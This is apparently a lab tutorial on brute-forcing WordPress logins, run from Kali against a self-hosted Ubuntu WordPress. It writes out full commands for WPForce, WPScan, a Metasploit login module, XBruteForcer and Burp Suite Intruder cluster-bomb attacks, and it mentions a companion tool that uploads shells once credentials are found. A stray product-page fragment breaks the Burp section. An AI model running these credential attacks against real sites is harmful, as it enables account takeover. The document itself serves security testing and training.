WordPress is a open source platform which written in PHP and work with MySQL and It gives user friendly interface which helps to user to setup his website in few minutes. After complete the setup it gives the administrator console whose help to control whole website.
Kali Linux = ( Attacker )
Ubuntu 18.04 = ( Hosted WordPress )
Lets do it 🙂 !!
WPForce is a suite of WordPress Attack tools. Currently it contains 2 scripts – WPForce, which brute forces logins via the API, and Yertle, which uploads shells once admin credentials have been found. Now we need to download this tool from the github page.
git clone https://github.com/n00py/WPForce.gitThe directory will be automatically created after cloning after which we need to go to the directory.
cd WPForce/Now start the tool using the following command.
python wpforce.pyWe have already created a username and password directory named user.txt and pass.txt and now it is time to crack the password of the WordPress login.
Usage 🙂 python wpforce.py -i < user txt file > -w < password wordlist > -u < Domain or IP Adress >
python wpforce.py -i user.txt -w pass.txt -u http://172.17.0.1:8081You can see above that this tool has successfully cracked the login of WordPress.
WPScan comes pre-installed in kali linux that is kown as black box WordPress vulnerability scanner. WPScan tool has been specially design for wordpress that can be used to scan remote WordPress installations to find security issues.
We have already made a tutorial about the WPScan tool, which you can see by clicking here.
If your want to bruteforce on wordpress login by wpscan tool so you can uses these command
wpscan --url http://192.168.0.105/wordpress -U shubham -P /root/pass.txtMetasploit Framework have in-built auxiliary module which helps to crack the wordpress login by using the wordlist. Now all we have to do is execute these commands by starting the Metasploit framework in the terminal .
msf5 > use auxiliary/scanner/http/wordpress_login_enum
msf5 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 172.17.0.1
msf5 auxiliary(scanner/http/wordpress_login_enum) > set rport 8081
msf5 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /
msf5 auxiliary(scanner/http/wordpress_login_enum) > set user_file user.txt
msf5 auxiliary(scanner/http/wordpress_login_enum) > set pass_file pass.txt
msf5 auxiliary(scanner/http/wordpress_login_enum) > exploitOnce the credentials are matched, it will give you the results.
X Brute Forcer is the advance bruteforce tool because its provide us multiple cms options which we can use further for bruteforce attack. It also provide us host list feature which means we can bruteforce on multiple accounts at single time.
Now we will configured this tool on our terminal by using the following command.
git clone https://github.com/Moham3dRiahi/XBruteForcer.git
cd XBruteForcer
perl XBruteForcer.plIt does not offer the wordlist so by create a wordlist we can perform bruteforce attack.
perl XBruteForcer.pl -l list.txt -p passwords.txtAfter selecting the target it will try to login into WordPress by adding one password each and once the credentials are matched it will give the result.
Burp Suite is an application security testing platform for businesses of all sizes. The software was designed and launched by P. Compare Pricing. Burp Suite is an application security testing platform that helps you identify vulnerabilities and verify attack vectors that are affecting web applications.
Now first we will capturing the login request by enable the intercept mode.
After that we need to move on intruder option of burpsuite and in which we will select our bruteforce position and attack type.
After complete the above process we need to move on payload payload option as you know that we has been select the cluster bomb 💣 attack hence we have two payload options in which in the first we will put the username list.
After that we will comes to second payload in which we will put the password list.
After to do all this we can execute our bruteforce attack. As you can see that the value to those credentials are different from the other Which means we have got the username and password.
Here you can see that we are able to login into the wordpress account using the above credentials.
